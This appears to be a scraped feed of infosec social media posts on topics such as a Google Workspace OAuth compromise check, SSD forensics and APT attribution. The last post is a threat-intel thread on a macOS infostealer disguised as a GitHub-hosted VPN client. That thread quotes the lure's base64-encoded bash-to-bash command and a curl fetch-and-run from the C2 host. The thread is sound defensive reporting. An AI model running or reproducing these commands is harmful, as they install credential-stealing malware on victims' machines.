bat

thunter

[Brendan Falk @BrendanFalk]

To check if your Google Workspace has been compromised by the same tool that compromised Vercel:

1. Go to https://t.co/TpuIOW5Fwg
- This is Google Admin Console > Security > Access and Data Control > API Controls > Manage app access > Accessed Apps
2. Filter by ID = https://t.co/uqJnCqp5Ah
- This is the ID of the compromised OAuth app

If you see an app after filtering, you have potentially been compromised

[Andrew Northern 𓅓 @ex_raritas]

🚨 New Malware Alert

I'm extremely proud to share a new report by yours truly.

https://t.co/FIpTHwnqmG

[vx-underground @vxunderground]

Local nerd @Thereallo1026 reverse engineered the new WhiteHouse app that the Trump administration was hyping up.

Nothing in it is innately malicious, however some design choices are odd. Also, it polls your GPS location every 240 seconds.

https://t.co/zGNgGKujgM

[bat @batlogged]

maybe don't claim something "runs 100% locally" when it is merely a wrapper for API calls?

[Alvaro Cintas @dr_cintas]

🚨 China has released an AI employee that runs 100% locally.

It can do research, code, build websites, create slide decks, and generate videos.. all by itself. And it comes with its own computer.

100% Open Source.

[mthcht @mthcht2]

LOLEXFIL
Living off the land Data Exfiltration method

https://t.co/iW2n2LBGK1

[Clandestine @akaclandestine]

The Evidence Locker https://t.co/B2SG43kcnH

[celeste coenomia, third floret @vmfunc]

the watchers: how openai, the US government, and persona have been secretly running an identity surveillance system since nov 2023.

https://t.co/Zz04WDF8Lz

researched by @vmfunc, @MDLcsgo, @DziurwaF

[bat @batlogged]

@Thewebb_io @IanCarrollShow "never been more accessible"
>auth wall

[rootsecdev @rootsecdev]

Good morning.

[bat @batlogged]

@IntelSecX i miss the era before you paywalled your tool.

[Nana Sei Anyemedu @RedHatPentester]

It will surprise you to know that a lot of Digital Forensics Investigators don’t really like the idea of investigating SSDs.

EVIDENCE CAN BE LOST AFTER A LAWFUL SEIZURE, AND SOLID-STATE DRIVES (SSDS) CAN ACT AS UNINTENTIONAL ANTI-FORENSIC DEVICES.

SSDs Break a Core Forensic Principle in Digital Forensics.
One of the foundational assumptions in digital forensics, developed during the era of magnetic hard disk drives (HDDs), is:
“Deleted data remains on storage media until it is overwritten.” This is a long traditional principle.

Solid-State Drives can be viewed as unintentional anti-forensic devices because, unlike deliberate anti-forensic tools, they destroy potential evidence as part of their normal operation, without any malicious intent from the user. 

The assumption that deleted data remains until overwritten no longer universally applies.
SSDs break this principle by design through:

1. TRIM
2. Garbage collection
3. Wear leveling

Because SSDs invalidate the “deleted data persists” principle, investigators must adapt by:

1. Prioritizing live analysis
2. Capturing volatile memory
3. Collecting system logs and cloud artifacts
4. Acting quickly before TRIM executes

[thaddeus e. grugq @thegrugq]

The systems bible, John gall.

[inversecos @inversecos]

What separates Chinese cyber ops from Five Eyes?

Three things that shifted my thinking about this topic:

1. Early cyber training (90s-2000s) happened on live targets.
Not sandboxes, not simulations...actual foreign infrastructure. The "practice" was the operation. Operational errors caught during IR back then weren't failures of tradecraft... they were the cost of learning on production.

2. The private sector operates as APT infrastructure.
Cybersecurity companies founded by former 2000s hackers (Topsec, i-SOON, Integrity Tech) were later publicly linked to state-directed operations. The line between "legitimate vendor" and "APT contractor" is deliberately blurred (by design).

3. Operators don't stay siloed in their APT group.
They rotate across teams for decades, carrying often the exact same tools, tactics with them. What we label as "different APT groups" is often the same people with different hats.

This makes attribution way messier than the tidy narrative we see in threat reports.

Worth reading this epic report published by the Zurich Centre for Security Studies if this stuff keeps you up at night:

https://t.co/aGgMyPniWF

[bat @batlogged]

@jamieantisocial corp apps used in SOCs (re: excel, slack) will pick up both URI schemes and domains and attempt to hyperlink. the amount of alerts generated from misclicks... 💀

[bat @batlogged]

this is the windows research i crave, recommend me only blogs with this sauce

[Natalie Silvanovich @natashenka]

No security feature is perfect. @tiraniddo reviewed Windows’ new Administrator Protection and found several bypasses.

https://t.co/K7lEyU3U3l

[Natalie Silvanovich @natashenka]

No security feature is perfect. @tiraniddo reviewed Windows’ new Administrator Protection and found several bypasses.

https://t.co/K7lEyU3U3l

[RussianPanda 🐼 🇺🇦 @RussianPanda9xx]

Honestly it doesn't matter much for defenders - code is code. We mostly talk about it to point out that threat actors STILL can't properly leverage AI and it's fun to roast them. This one goes out to everyone claiming "AI is a massive threat because TAs will use it for big bad things"

[Binni Shah @binitamshah]

x86 prefixes and escape opcodes flowchart : https://t.co/BbDTKw6Ikl

[Who said what? @g0njxa]

Interesting MacOS infostealer campaign via Github traffic (🎩 @osint_barbie )

Spread as a fake Shimo VPN Client (image 1 - github[.]com/Browndash1368/shimo-mac-unlocked-edition) redirecting users to a fake Github download page (image 2)

browndash1368[.]github[.]io >> macos[.]aidevmac[.]com

github[.]macos-developer[.]com/main

The a bash script is shared:

echo "GitHub-AppInstaller: https://dl[.]github[.]com/drive-file-stream/GitHubApplicationSetup.dmg" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9nejF4c2hjYnU3N29nbWd0KSI=' | base64 -d | bash

Chaining more bash script from C2 (image 3)

/bin/bash -c "$(curl -fsSL http://91[.]92[.]242[.]30/gz1xshcbu77ogmgt)"

Then downloading and executing a malicious Mach-O (image 4)

Looking at strings inside the Mach-O, there is a reference to "macos-stealer-v2"

IOCs
a0e66f3067e4aaf5b83e45b7845cc43b2fc96032a4398cab7cc9d11f4f962e91 (this thread)
ab267488d2c0a6300b61b5c9046cb86fe4a9ac3fe9a615acd374465b3a4b26c2 (older)